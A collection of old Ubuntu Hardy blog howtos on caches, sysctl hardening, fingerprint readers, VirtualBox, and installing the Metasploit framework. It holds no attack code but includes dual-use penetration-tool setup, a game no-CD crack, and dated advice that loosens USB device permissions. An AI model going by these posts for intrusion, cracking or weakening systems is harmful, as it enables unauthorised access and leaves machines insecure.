[126001750010] |Free Up Cache Memory in Linux [126001750020] |In the past, I've been forced to do ridiculous things like cat a file larger than available RAM to /dev/null and edit gigabyte files which flood my cache with this data. [126001750030] |Luckily, Linux kernels 2.6.16 and newer provide a mechanism to clear the inode, page, and dentry caches on demand avoiding all this headache. [126001750040] |All you have to do is echo a value to the proc filesystem, and you're done. [126001750050] |To use /proc/sys/vm/drop_caches, just echo a number to it. [126001750060] |To free pagecache:echo 1 >/proc/sys/vm/drop_caches [126001750070] |To free dentries and inodes: [126001750080] |echo 2 >/proc/sys/vm/drop_caches [126001750090] |To free pagecache, dentries and inodes: [126001750100] |echo 3 >/proc/sys/vm/drop_caches [126001750110] |As this is a non-destructive operation and dirty objects are not freeable, the user should run "sync" first! [126001750120] |This was originally found @ http://www.linuxinsight.com/proc_sys_vm_drop_caches.html [126001760010] |Get your fingerprint reader to work in Ubuntu [126001760020] |Project fprint homepage: http://reactivated.net/fprint/wiki/Main_PagePackages for fprint: http://www.madman2k.net/comments/105 [126001760030] |The fprint project aims to plug a gap in the Linux desktop: support for consumer fingerprint reader devices. [126001760040] |Previously, Linux support for such devices has been scattered amongst different projects (many incomplete) and inconsistent in that application developers would have to implement support for each type of fingerprint reader separately. [126001760050] |For more information on where we came from, see the project history page. [126001760060] |We're trying to change that by providing a central system to support all the fingerprint readers we can get our hands on. [126001760070] |The software is open source and in the long term we're shooting for adoption by distributions, integration into common desktop environments, etc. [126001760080] |Note: These instructions are intended for Ubuntu Hardy. [126001760090] |I have not personally tried this on Gutsy, but if it works, let me know. [126001760100] |First off, remember that fprint is not entirely stable, and may not work all the time. [126001760110] |A list of supported devices is here, and the list of unsupported devices is here. [126001760120] |1. First thing to do is add the [third-party] fprint repository to your sources file:echo -e "# Fingerprint reader support (fprint)\ndeb http://ppa.launchpad.net/madman2k/ubuntu hardy main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list [126001760130] |2. Next, update your sources and install fprint:sudo apt-get updatesudo apt-get install fprint-demo libfprint-dev libfprint0 libpam-fprint3. [126001760140] |Now you can enroll your fingers using either the terminal or a graphical user interface. [126001760150] |Terminal:pam_fprint_enrollGUI:fprint_demo4. [126001760160] |Last thing to do is configure PAM so that the fingerprint reader can be useful. [126001760170] |Open up your PAM authentication file and edit it:sudo gedit /etc/pam.d/common-auth5. [126001760180] |Edit it to contain:auth sufficient pam_fprint.soauth required pam_unix.so nullok_secure6. [126001760190] |Enjoy your fingerprint reader support! [126001760200] |Steps 4 and 5 tell Ubuntu to check your fingerprint, and if that fails, then ask your password. [126001760210] |This rule has some exceptions, one that I have encountered is on the login screen. [126001760220] |I have to scan my fingerprint before typing my password. [126001760230] |One thing I did notice is that when you use sudo in the terminal, it asks for your fingerprint, which I thought was pretty cool. [126001760240] |One disadvantage is that anything using gksu does not seem to work properly, specifically because it does not tell you to scan your finger when needed. [126001760250] |Troubleshooting:The one problem I ran into when using fprint was that I could not run fprint_demo without sudo. [126001760260] |It failed with the error message below: [126001760270] |uru4000:error [dev_init] interface claim failedfp:error [fp_dev_open] device initialisation failed, driver=uru4000 [126001760280] |I decided to post my problem here on the forums. [126001760290] |Here is the solution. [126001760300] |You have to add yourself to the plugdev group and then change the permissions of the usb folder to allow access to the plugdev group. [126001760310] |You can verify you are in the plugdev group by using groups:sudo usermod -a -G plugdev $USERgroups | grep plugdev # Make sure there is output from thissudo chgrp -R plugdev /dev/bus/usb/Then try running fprint_demo, and hopefully it will work:fprint_demo [126001760320] |This content was found on the Ubuntu forums, please see here for updates [126001770010] |Howto: Harden the Ubuntu Linux Kernel with sysctl [126001770020] |I ran across a nice sysctl.conf file that will help secure your computer and prevent many different attacks on your computer like Man In the Middle Attacks, Syn attacks, source routing scans/attacks, spoofing protection/logging, and many others, read below. [126001770030] |Lets Harden our kernel:sudo gedit /etc/sysctl.confNow lets paste the following example below then ctrl-s save and exitAfter you make the changes to the file lets apply the changes without a reboot:sysctl -psysctl -w net.ipv4.route.flush=1Example:# Kernel sysctl configuration file for Red Hat Linux## For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and# sysctl.conf(5) for more details.# Controls IP packet forwardingnet.ipv4.ip_forward = 0# Controls source route verificationnet.ipv4.conf.default.rp_filter = 1# Controls the System Request debugging functionality of the kernelkernel.sysrq = 0# Controls whether core dumps will append the PID to the core filename.# Useful for debugging multi-threaded applications.kernel.core_uses_pid = 1#Prevent SYN attacknet.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 2048net.ipv4.tcp_synack_retries = 2# Disables packet forwardingnet.ipv4.ip_forward=0# Disables IP source routingnet.ipv4.conf.all.accept_source_route = 0net.ipv4.conf.lo.accept_source_route = 0net.ipv4.conf.eth0.accept_source_route = 0net.ipv4.conf.default.accept_source_route = 0# Enable IP spoofing protection, turn on source route verificationnet.ipv4.conf.all.rp_filter = 1net.ipv4.conf.lo.rp_filter = 1net.ipv4.conf.eth0.rp_filter = 1net.ipv4.conf.default.rp_filter = 1# Disable ICMP Redirect Acceptancenet.ipv4.conf.all.accept_redirects = 0net.ipv4.conf.lo.accept_redirects = 0net.ipv4.conf.eth0.accept_redirects = 0net.ipv4.conf.default.accept_redirects = 0# Enable Log Spoofed Packets, Source Routed Packets, Redirect Packetsnet.ipv4.conf.all.log_martians = 1net.ipv4.conf.lo.log_martians = 1net.ipv4.conf.eth0.log_martians = 1# Disables IP source routingnet.ipv4.conf.all.accept_source_route = 0net.ipv4.conf.lo.accept_source_route = 0net.ipv4.conf.eth0.accept_source_route = 0net.ipv4.conf.default.accept_source_route = 0# Enable IP spoofing protection, turn on source route verificationnet.ipv4.conf.all.rp_filter = 1net.ipv4.conf.lo.rp_filter = 1net.ipv4.conf.eth0.rp_filter = 1net.ipv4.conf.default.rp_filter = 1# Disable ICMP Redirect Acceptancenet.ipv4.conf.all.accept_redirects = 0net.ipv4.conf.lo.accept_redirects = 0net.ipv4.conf.eth0.accept_redirects = 0net.ipv4.conf.default.accept_redirects = 0# Disables the magic-sysrq keykernel.sysrq = 0# Modify system limits for Ensim WEBppliancefs.file-max = 65000# Decrease the time default value for tcp_fin_timeout connectionnet.ipv4.tcp_fin_timeout = 15# Decrease the time default value for tcp_keepalive_time connectionnet.ipv4.tcp_keepalive_time = 1800# Turn off the tcp_window_scalingnet.ipv4.tcp_window_scaling = 0# Turn off the tcp_sacknet.ipv4.tcp_sack = 0# Turn off the tcp_timestampsnet.ipv4.tcp_timestamps = 0# Enable TCP SYN Cookie Protectionnet.ipv4.tcp_syncookies = 1# Enable ignoring broadcasts requestnet.ipv4.icmp_echo_ignore_broadcasts = 1# Enable bad error message Protectionnet.ipv4.icmp_ignore_bogus_error_responses = 1# Log Spoofed Packets, Source Routed Packets, Redirect Packetsnet.ipv4.conf.all.log_martians = 1# Set maximum amount of memory allocated to shm to 256MBkernel.shmmax = 268435456# Improve file system performancevm.bdflush = 100 1200 128 512 15 5000 500 1884 2# Improve virtual memory performancevm.buffermem = 90 10 60# Increases the size of the socket queue (effectively, q0).net.ipv4.tcp_max_syn_backlog = 1024# Increase the maximum total TCP buffer-space allocatablenet.ipv4.tcp_mem = 57344 57344 65536# Increase the maximum TCP write-buffer-space allocatablenet.ipv4.tcp_wmem = 32768 65536 524288# Increase the maximum TCP read-buffer space allocatablenet.ipv4.tcp_rmem = 98304 196608 1572864# Increase the maximum and default receive socket buffer sizenet.core.rmem_max = 524280net.core.rmem_default = 524280# Increase the maximum and default send socket buffer sizenet.core.wmem_max = 524280net.core.wmem_default = 524280# Increase the tcp-time-wait buckets pool sizenet.ipv4.tcp_max_tw_buckets = 1440000# Allowed local port rangenet.ipv4.ip_local_port_range = 16384 65536# Increase the maximum memory used to reassemble IP fragmentsnet.ipv4.ipfrag_high_thresh = 512000net.ipv4.ipfrag_low_thresh = 446464# Increase the maximum amount of option memory buffersnet.core.optmem_max = 57344# Increase the maximum number of skb-heads to be cachednet.core.hot_list_length = 1024## DO NOT REMOVE THE FOLLOWING LINE!## nsobuild:20051206 [126001770040] |The above script was found here [126001770050] |Is there any other sysctl settings worth mentioning for hardening? [126001780010] |Introducing PyTube YouTube leecher & audio/video encoder for Mobile Devices & More [126001780020] |What is PyTube? [126001780030] |PyTube is a another kick-ass application that hasnt gotten enough spotlight, it completely rocks, check out some of its features: [126001780040] |Search &Leech Videos From YoutubeLeech Videos from Other Video sitesRe-Encode Videos to iPhone/iPod/3gp/mp4/ogm/mpg/gif/amvInsert Audio into VideoGenerate RingtonesMerge multiple Videos togetherResize Videos for Ipods->High DefinitionRotate videosConstruct a List of all your Videos to share with friends [126001780050] |Easy Interface [126001780060] |Integrated Search [126001780070] |Multimedia Tools [126001780080] |Unlimited Downloads [126001780090] |Local Multimedia Encoding [126001780100] |How to install PyTube:Click System->Administration and then open up software sourcesClick Add and add:deb http://www.bashterritory.com/pytube/releases / Reload then click here to installor sudo apt-get install pytubeOnce installed access PyTube via Applications->Sound &Video->PyTube Multimedia Converter [126001780110] |Have funMore information from the elite authors site here [126001790010] |Save Streaming Videos in Mplayer in 4 Easy Steps [126001790020] |1. Copy the url of the streaming video mms://etc... or http://... [126001790030] |2. Open up a terminal. [126001790040] |3. mplayer -dumpstream -dumpfile stream_video_name.wmv mms://etc... [126001790050] |4. Wait for the stream dump. [126001790060] |Have any others tools worth mentioning? [126001790070] |Original Content found here [126001800010] |Tweak Page Cache in Ubuntu Linux [126001800020] |Here I will provide you with some information to help you decide exactly how you would like to tweak your system. [126001800030] |I have seen many sites with the swappiness tweak for linux without any documentation on what it does, so I'll try my best to explain this in a simple way. [126001800040] |If you want linux to use as little memory as possible for caching files, and as much memory as possible for processes, and only swap when the memory used by processes is more than the physical memory set swappiness to 0, instead of 60. [126001800050] |Users who would like to never see application memory swapped out can set swappiness to zero. [126001800060] |This setting uses ram efficently and pretty much ignores using swap until it absolutely needs to like if your running 10 openoffice's and a few firefox windows and some multimedia applications, it will be forced to swap, thats the only way it will. [126001800070] |Unfortunately it flushes the applications from memory when you load a new one so you will notice a slower restart time when reloading the application [126001800080] |If you run allot of memory intensive applications like firefox, amarok, and openoffice all the time, you may want to set swappiness to 100 because it will swap more to disk when your current processes run out of physical memory. [126001800090] |I noticed that everything was a bit more responsive with this running many programs at once, like when I close firefox and load up xChat then re-open firefox, it loaded a bit quicker since it was swapped. [126001800100] |You can take advantage of this setting if you have a fast extra hard drive or a fast usb flash drive which you can use as swap. [126001800110] |I have provided a readyboost for linux howto here [126001800120] |Lets get to tweak'nsudo gedit /etc/sysctl.confTo disable swapping application memory add the line:vm.swappiness=0To Swap more application data to disk when ram is exhaustedvm.swappiness=100 [126001800130] |Basically what I would do is experiment with this setting and see what works best when you load up plenty of applications you use daily because leaving it at the default, 0, or 100 may not be the best option. [126001800140] |Please let us all know your specs and what setting works best for you. [126001810010] |Howto: Loop Movie, Video, and Display Screensaver as Desktop Wallpaper in Ubuntu Linux [126001810020] |Want to loop a video clip or movie on your desktop? [126001810030] |I did and found a nice little tool that does just that! [126001810040] |Check out this easy howto [126001810050] |First lets grab some essential building libraries via the terminal: Applications->Accessories->Terminalsudo apt-get install build-essential libx11-dev x11proto-xext-dev libxrender-dev libxext-dev cvsNow lets Install xwinwrap:cvs -d :pserver:anoncvs@cvs.freedesktop.org:/cvs/xapps co xwinwrapcd xwinwrapmakesudo cp xwinwrap /usr/bin [126001810060] |Now lets start our video/movie as the Desktop Wallpaper! [126001810070] |First find a video/movie you would like to set as your backround and issue this command:xwinwrap -ni -fs -s -st -sp -b -nf -- mplayer -wid WID -nosound "Steal This Film II.Xvid.avi" -loop 0 [126001810080] |Now everything should be working fine, if you would like sound, remove -nosound [126001810090] |You can also display Screensavers as your background:nice -n 15 ./xwinwrap -ni -o 0.20 -fs -s -sp -st -b -nf -- /usr/lib/xscreensaver/glmatrix -root -window-id WIDCredit for the screen saver hack goes out to wayne@fsckin [126001820010] |Tweak and optimize, and increase Ubuntu Hardy Heron Boot and Application Startup times dramatically! [126001820020] |Here I will share some methods on tweaking and optimizing your ubuntu install that I have learned over the years tweaking linux. [126001820030] |This is small and sweet, down to the point and can dramatically speed up your system. [126001820040] |First lets tweak our directory structure so our Computer can find/seek files faster:What we'll need is a Ubuntu Gutsy+ LiveCD and boot it up, and right click unmount all the drives mounted in nautilus via places. [126001820050] |Then Open up a Terminal: Applications->Accessories->TerminalLets Sudo Root:sudo -sThen lets check which drives we got to optimize:df -hExample:/dev/sda3 154G 145G 1.6G 99% /media/sda3/dev/sda4 99G 61G 39G 62% /media/sda4Ok great, we got a list of our drives to optimize so lets get to work:e2fsck -fD /dev/sda3choose y for yes and optimize your drive, then continue to the next drive once finishedIf you need to you can RTFM on e2fsck: [126001820060] |-D Optimize directories in filesystem. [126001820070] |This option causes e2fsck to try to optimize all directories, either by reindexing them if the filesystem supports directory indexing, or by sorting and compressing directories for smaller directories, or for filesys tems using traditional linear directories. [126001820080] |Ok now that the drives are optimized the system should be more responsive. [126001820090] |So were finished with the liveCD portion of this howto, so reboot, and remove your liveCD. [126001820100] |Ok the next tweak I dont use completely, I only use noatime in my fstab and I dont use writeback mode because I sometimes have power outages and dont want to risk dataloss. [126001820110] |So changing to writeback is dangerous but much faster if you do not have to worrie about dataloss, crashes, lockups, forced reboot/shutdowns. [126001820120] |Ok now you can Use data=writeback and noatime when mounting ext3 partitions in /etc/fstab:sudo gedit /etc/fstabHere is an example of what I have in my fstab:UUID=3eb414ba-5198-4c1f-9e3d-e91675329f83 / ext3 defaults,noatime,errors=remount-ro 0 0Lets change this to:UUID=3eb414ba-5198-4c1f-9e3d-e91675329f83 / ext3 defaults,data=writeback,noatime,errors=remount-ro 0 0Ok now lets tune our drive for writeback mode:sudo tune2fs -o journal_data_writeback /dev/sda1For reference you can RTFM: [126001820130] |writeback Data ordering is not preserved - data may be written into the main file system after its metadata has been commit ted to the journal. [126001820140] |This is rumoured to be the highest- throughput option. [126001820150] |It guarantees internal file system integrity, however it can allow old data to appear in files after a crash and journal recovery.noatime Do not update inode access times on this file system (e.g, for faster access on the news spool to speed up news servers). [126001820160] |Ok now lets install preload to optimize bootspeed and application startup time, I have an alternate tutorial here explaining how preload works:sudo apt-get install preload [126001820170] |Ok you can also tune the swap/memory usage by optimizing swappiness, I have provided a more in depth tutorial explaining what it does here So lets tweak our swappiness:sudo gedit /etc/sysctl.confIf you have a lot of memory and succeed in not using swap at all and want swap to be used less then add this line:vm.swappiness=0If your computer has little memory and needs to swap add this line instead:vm.swappiness=100You may want to experiment with swapiness by changing it between 0 - 100 [126001820180] |Last but not least you may want to profile your boot, what this does is, executes the readahead daemon to readahead files that you use every boot like drivers/gdm/kde/X, this is easy, on reboot, press esc to enter grub then find the kernel line:/boot/vmlinuz-2.6.24-16-generic root=UUID=3eb414ba-5198-4c1f-9e3d-e91675329f83 ro splash=verbose vga=794Press e once its selected then append profile after this line like this:/boot/vmlinuz-2.6.24-16-generic root=UUID=3eb414ba-5198-4c1f-9e3d-e91675329f83 ro splash=verbose vga=794 profileThen Press enter then "b" to boot up, what this will do is learn what files load every boot up and read them in advance every boot up. [126001820190] |This will temporarily disable preload so once it finishes profiling and you are at a login terminal, reboot again and your system should startup/boot faster, and preload will preload applications and important libraries that you frequently access. [126001820200] |I hope this helps others enjoy Ubuntu Linux more, this took me 5 minutes to create, so let me know if I need to explain this a little better. [126001820210] |Have any other tweaks to add to this list? [126001820220] |I'll give you credit. [126001820230] |Tweak Gnome Startup added by defcon @ 10:00 AMYou may also want to remove unnecessary applications starting up that gnome executes by opening Session Preferences via: System->Preferences->SessionsClick on StartUp ProgramsI disabled Bluetooth manager because I do not use bluetooth, you may want to as well. [126001820240] |I have disabled check for new hardware drivers because I do that via synapticI have disabled network manager because I use /etc/network/interfaces only and apt-get remove network-manager network-manager-gnome if you do not need itI have disabled Print Queue Applet because I dont print on this computerI also disabled Visual Assistance because I do not need assistanceYou may find other things you may want to disable as well to speed up gnome startup [126001830010] |Easily Upgrade to Ubuntu Hardy Heron 8.04 LTS [126001830020] |Now is the best time to upgrade, and upgrading is a breeze, sit back relax, and issue the following commands! [126001830030] |

Upgrade from 7.10 to 8.04 LTS

[126001830040] |
  • Press Alt-F2 and type update-manager -d
  • [126001830050] |
  • Click the Check button to check for new updates.
  • [126001830060] |
  • A message will appear informing you of the availability of the new release. [126001830070] |
  • Click Upgrade.
  • [126001830080] |
  • Follow the on-screen instructions.
  • [126001830090] |Command line upgrade:sudo apt-get update && sudo apt-get dist-upgrade [126001830100] |Download the iso:http://releases.ubuntu.com/8.04/ [126001840010] |HOWTO: Install btnx for better mouse control in Ubuntu [126001840020] |When I installed Hardy, I forgot to copy my awesome xorg.conf which held the configuration to enable all 12 buttons of my Logitech MX1000. [126001840030] |Lo and behold, a new method of configuring it has come about, albeit it was around prior to Gutsy. [126001840040] |btnx is the work of Olli Salonen. [126001840050] |The program runs as a daemon, catching mouse events and turning them into either key presses or proper mouse events which the system can interpret. [126001840060] |This eases the configuration one must do in order to enjoy the full potential of the high-end Logitech mice—a potential which, in my opinion, Windows cannot reach. [126001840070] |The installation process for btnx is pretty easy. [126001840080] |Read the full article here [126001860010] |Howto: Awesome Opensource MilkDrop Winamp Music Visualizations for Ubuntu Linux! (475 visuals!) [126001860020] |Tired of lame GOOM! visualizations in Ubuntu and want something pretty tight? [126001860030] |Check out projectM! [126001860040] |A week or 2 ago I told people at this post that I would help port over winamp visualizations over to ubuntu and I have finally accomplished that task and created a .deb package for easy installation! [126001860050] |Please note that projectm doesnt currently work with amarok or any music player at the moment so you can simply run projectM before/after/during what your listening to and the effects will be amazing, this will work for any sounds and can even be configured to visualize music on the lan/wan! [126001860060] |Howto install:wget http://ubuntu-debs.googlecode.com/files/projectm_1.1-rev-980-2_i386.debsudo dpkg -i projectm_1.1-rev-980-2_i386.deb*recommended but optional* *updated* Download my 475 presets and extract to preset directorycd ~ ; wget http://ubuntu-debs.googlecode.com/files/projectm_presets.tar.gztar zxvf projectm_visuals.tar.gzWhen you download a preset package, you will need to extract all the files to a directory where projectM can find it. [126001860070] |We put ours in ~/projectM/presets and then we'll create a symbolic link to our preset directory so projectM can see itcd /usr/share/projectM/presets &&sudo ln -s ~/projectm/presets/ others [126001860080] |Howto Run:Goto: Applications->Sound and Video->projectM-pulseaudioUsage:Controls (these are listed in the menu under "hotkeys":m - brings up a menuf - toggles fullscreen on/offl - "locks" to a particular presety - toggles shuffle moden - next presetp - previous presetr - selects random presetF1 - Help menuF2 - Toggles song title on/off (doesn't work in libvisual or pulseaudio as far as I can tell)F3 - Toggle preset name on/offF4 - Toggle rendering info on/offF5 - Shows fps [126001860090] |How to load visualizations:Simply click the load preset button and select the presets in the correct directory you want to see. [126001860100] |You can create a visualization playlist as well, its easy. [126001860110] |Other info: [126001860120] |ProjectM uses pulseaudio, it can do everything that pulseaudio can do. [126001860130] |In the menu, you can select which pulseaudio source to use as the music input to the visualizations. [126001860140] |This includes network sound resources. [126001860150] |You CAN use projectM as a visualizer for the music ANOTHER PC is playing! [126001860160] |Adding too many presets may crash projectm, so load only a hundred or so at a time, or experiment on how many can be loaded at once [126001860170] |You can find more visualizations here [126001860180] |Compile from svn src howto here [126001860190] |ProjectM Developers Page here [126001880010] |Howto: Install Metasploit 3.1 svn in Ubuntu Hardy Heron [126001880020] |The Metasploit Framework is a development platform for creating security tools and exploits. [126001880030] |The framework is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. [126001880040] |The framework is written in the Ruby programming language and includes components written in C and assembler. [126001880050] |The framework consists of tools, libraries, modules, and user interfaces. [126001880060] |The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. [126001880070] |If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload. [126001880080] |This is a tool that I pentest my lan with and can be used to hack remote computers/networks or whatever, I will show you how to get this setup and installed in Ubuntu Hardy very easily: [126001880090] |First lets install the Dependencies:sudo apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev irb subversion [126001880100] |Lets grab rubygems and install it because the ubuntu package is crap. [126001880110] |wget http://rubyforge.org/frs/download.php/11289/rubygems-0.9.0.tgztar -xvzf rubygems-0.9.0.tgzcd rubygems-0.9.0sudo ruby setup.rbsudo gem install -v=1.1.6 rails [126001880120] |Now at last we can grab metasploit:svn co http://metasploit.com/svn/framework3/trunk/ metasploitLets load cd to the metasploit dir, and update it, I do this before executing every time.cd metasploitUpdate Metasploit exploits/modules/payloads/packagesvn upLets Startup Metasploit./msfconsole [126001880130] |Learn more about metasploit here [126001890010] |Howto: Install VirtualBox in Ubuntu Hardy Heron with USB Support in 5 easy Steps! [126001890020] |*update* New Verson of Virtualbox Just released! [126001890030] |Click Here! [126001890040] |When I last checked Virtualbox did not update their repositories for Hardy Heron, its not a problem, their is a hardy package without a repository. [126001890050] |I have created a howto last year on howto setup VirtualBox completely and to seamlessly integrate windows xp into your ubuntu desktop here [126001890060] |So lets install the brand new virtualbox package for Hardy Heron... [126001890070] |Lets Install the essential build utilities so the vbox kernel module builds.sudo apt-get install build-essential linux-headers-`uname -r`Install i386 VirtualBox without repository:wget http://www.virtualbox.org/download/1.5.6/virtualbox_1.5.6-28266_Ubuntu_hardy_i386.deb ; sudo dpkg -i virtualbox_1.5.6-28266_Ubuntu_hardy_i386.debInstall amd64 Virtualbox without repository:wget http://www.virtualbox.org/download/1.5.6/virtualbox_1.5.6-28266_Ubuntu_hardy_amd64.deb ; sudo dpkg -i virtualbox_1.5.6-28266_Ubuntu_hardy_amd64.deb [126001890080] |Check Here for updated Virtualbox Packages since the repository isnt added yet [126001890090] |Alternate install with Gutsy repository as some people have suggested works fine, just copy/paste these exact commands into the terminal:sudo sh -c 'echo "# VirtualBox repository for Ubuntu Gutsydeb http://www.virtualbox.org/debian gutsy non-free" \ >/etc/apt/sources.list.d/gutsy-virtualbox.list'wget http://www.virtualbox.org/debian/innotek.asc -O- | sudo apt-key add -sudo apt-get updatesudo apt-get -y install virtualbox [126001890100] |Now you Must add your self to the vboxusers group:sudo adduser $USER vboxusersAdding user `ionstorm' to group `vboxusers' ...Adding user ionstorm to group vboxusersDone.Setup VirtualBox USB Support:USB is disabled by default, so you'll probably want to enable it. [126001890110] |Otherwise you'll get an error when you go into the "Settings" of your virtual machine. [126001890120] |To correct this, you'll need to edit the mountdevsubfs.sh file:sudo gedit /etc/init.d/mountdevsubfs.shYou'll see a block of code that looks like this:## Magic to make /proc/bus/usb work##mkdir -p /dev/bus/usb/.usbfs#domount usbfs "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644#ln -s .usbfs/devices /dev/bus/usb/devices#mount --rbind /dev/bus/usb /proc/bus/usbNow uncomment the last 4 lines above to look like this:## Magic to make /proc/bus/usb work#mkdir -p /dev/bus/usb/.usbfsdomount usbfs "" /dev/bus/usb/.usbfs -obusmode=0700,devmode=0600,listmode=0644ln -s .usbfs/devices /dev/bus/usb/devicesmount --rbind /dev/bus/usb /proc/bus/usb [126001890130] |Ok now logoff, then log back in so the vbox driver see's you are logged in to the vboxusers group. [126001890140] |If the above doesnt work try rebooting, if that doesnt enable usb you can try this:Grab the vboxusers group id:grep vbox /etc/groupvboxusers:x:124:ionstormEdit the fstab with the group id # in bold:sudo gedit /etc/fstabAppend this to the fstab then save/exit:## usbfs is the USB group in fstab file:none /proc/bus/usb usbfs devgid=124,devmode=664 0 0Now lets edit the mountkernfs.sh file with the gid in bold:sudo gedit /etc/init.d/mountkernfs.shPaste the 2 lines below above the line: "# Mount spufs, if Cell Broadband processor is detected"## Mount the usbfs for use with Virtual Boxdomount usbfs usbdevfs /proc/bus/usb -onoexec,nosuid,nodev,devgid=124,devmode=664 [126001890150] |You may not need to reboot, try doing:sudo /etc/init.d/mountkernfs.sh [126001890160] |If not, reboot, and virtualbox should detect your usb devices! [126001890170] |You can follow my directions here to learn how to integrate Windows XP into your desktop! [126001890180] |Checkout the Official VirtualBox User Manual Here [126001900010] |Howto: Restore All Installed packages in Ubuntu Hardy Heron and to a New machine [126001900020] |Ever forget what you had installed and find yourself at a fresh ubuntu install thinking to yourself... [126001900030] |Damn now I gotta open up synaptic and search for everything I had... [126001900040] |Well fortunately you dont need to do that. [126001900050] |With this easy howto you can also restore all your packages that were installed by simply creating a package list and uninstalling every application installed after the list was made. [126001900060] |Lets get started shall we? [126001900070] |The following command creates a list of all the installed packages at the present time:sudo dpkg --get-selections >/etc/package.selectionsNow we created our package list and we can copy this list to a new ubuntu computer and install the same packages in the list to the new machine or, restore the packages to the time you created the package list:sudo dpkg --set-selections < /etc/package.selections && apt-get dselect-upgrade [126001910010] |Howto: Install (GTA) Grand Theft Auto Vice City with wine in Ubuntu Hardy Heron! [126001910020] |Did you know GTA Vice City works in wine? [126001910030] |The other day I was bored... really bored... [126001910040] |So I decided to grab GTA Vice City and get it working in wine, and to my suprise it was too freakn simple. [126001910050] |All I did was Download GTA Vice City apply no-cd-cracked.exe and started it up. [126001910060] |Has anyone else had any great successes in getting hot games working in wine? [126001910070] |Please let me know and let us all know how you got it to work. [126001910080] |Here is how I got GTA Vice City working... [126001910090] |First I grabbed the vice city isos and moved them to /home/$USER/GTASo I then wanted to mount the iso's and install, I simply grabbed fuseiso and wine then added myself to the fuse group so I can mount iso's:sudo apt-get install fuseiso wine ; sudo adduser $USER fuseiso [126001910100] |After those 2 install I made my iso mount directories within /home/$USER/GTA:mkdir viceinstall ; mkdir viceplay [126001910110] |Lets mount these 2 iso's:fuseiso GTA_Vice_City.iso viceinstall ; fuseiso Vice_City_Play.iso viceplay [126001910120] |Now Open up nautilus and change directory to /home/$USER/GTA/viceinstall and right click on setup and select run with wine windows emulator [126001910130] |Now the setup will popup and ask for us to install, select any wine directory, I chose ~/.wine/drive_c/GTA/ ; check radio stations if you want the lame music. [126001910140] |The setup will ask for the second cd then navigate to the viceplay directory [126001910150] |Now we have one more step after the install completes, we gotta grab the patched exe, go here and grab it and copy it to: ~/.wine/drive_c/GTA or whichever directory you installed GTA to, select yes to overwrite the old exe [126001910160] |Once the install completes you should have a nice icon in Applications->Wine->Rockstar Gamez->Grand theft Auto Vice City->Play GTA Vice City [126001910170] |Now hopefully if everything went well you should be able to play, the only issue I had playing was a black model and dark cars which goes away after a while playing for some reason. [126001910180] |Other than that the fps is faster than xp/vista. [126001910190] |You may notice it takes 1-2 minutes to start up the game, what I did was freak out and I reinstalled before it even started lol.. [126001910200] |Dont make my same mistake, wait it out, then gaming will be smooth. [126001910210] |P.S. Im not a big fan of closed source proprietary windows games but I posted this in hopes to get more gamers of to Ubuntu because it simply rocks. [126001910220] |Also lets hope Rockstar Gamez ports GTA IV to linux which would surprise the hell outta me [126001910230] |You can post bugs and get additional help here [126001920010] |Howto: Login to Windows nt/2000/XP Remote Desktop within Ubuntu Linux [126001920020] |Did you know you could login to a Windows machine remotely without additional software through the remote desktop protocol? [126001920030] |Well you can, all you gotta do is enable remote desktop in your windows machine Then grab Gnome-RDP:Click here to install within firefox with apt-url or:sudo apt-get install gnome-rdpNow that Gnome-RDP is installed lets fire it up:Goto Applications->Internet->Gnome-RDPNow click on New, it will bring up the connection settings, input a session name then under computer select the ip address or dns name the computer is assigned to via your router or hosts file. [126001920040] |Fill in the Username/Password and click ok, then click connect [126001920050] |In Properties select RDP and then you can select the resolution/color depth and sound options. [126001940010] |Sun xVM VirtualBox 1.60 Just Released for Ubuntu Hardy Heron and other Os's! [126001940020] |Sun xVM VirtualBox is an X86 virtualization software package originally developed by German software company innotek GmbH. [126001940030] |As such it is an application installed on an existing host operating system; within this application, additional operating systems, each known as a "Guest OS", can be loaded and run, each with its own virtual environment. [126001940040] |For example, several Linux distributions can be "guest" hosted on a single virtual machine running Windows XP as the "Host OS"; likewise, XP and Vista can run as "Guest OS" on a machine running Linux as the "Host OS", and so on. [126001940050] |Supported host operating systems include Linux, Mac OS X, OS/2 Warp (experimental OSE builds), Windows, and Solaris/OpenSolaris. [126001940060] |Supported guest operating systems include FreeBSD, Linux, OpenBSD, OS/2 Warp, Windows and Solaris. [126001940070] |The application was initially offered under a proprietary software license. [126001940080] |In January 2007, after several years of development, VirtualBox OSE (Open Source Edition) was released under GNU General Public License (GPL) version 2. [126001940090] |Currently, there is a proprietary version, VirtualBox, which is free only for personal or evaluation use, subject to the VirtualBox Personal Use and Evaluation License (PUEL) and an Open Source Edition(OSE), VirtualBox OSE, which is free for commercial and private use, subject to Copyleft and other requirements of the GPL license. [126001940100] |Compared with other established commercial virtualization software such as VMware Workstation and Microsoft Virtual PC, VirtualBox lacks some features, but in turn provides others such as running virtual machines remotely over the Remote Desktop Protocol (RDP), iSCSI support and USB support with remote devices over RDP and also Has Seamless Desktop Integration which no other Virtualization Solution has! [126001940110] |VirtualBox supports Intel's hardware virtualization VT-x and has experimental support for AMD's AMD-V, but does not use either of them by default. [126001940120] |According to a 2007 survey by DesktopLinux.com, VirtualBox is the third most popular software package for running Windows programs on Linux desktops. [126001940130] |VirtualBox 1.6 is a major update, incorporating over 2000 improvements. [126001940140] |Among the highlights: [126001940150] |
  • Solaris and Mac OS X host support
  • [126001940160] |
  • Seamless windowing for Linux and Solaris guests
  • [126001940170] |
  • Guest Additions for Solaris
  • [126001940180] |
  • A webservice API
  • [126001940190] |
  • SATA hard disk (AHCI) controller (
  • [126001940200] |
  • Experimental Physical Address Extension (PAE) support
  • [126001940210] |
  • In addition, the following items were fixed and/or added:
  • [126001940220] |
  • GUI: added accessibility support (508)
  • [126001940230] |
  • GUI: VM session information dialog
  • [126001940240] |
  • VBoxHeadless: renamed from VBoxVRDP
  • [126001940250] |
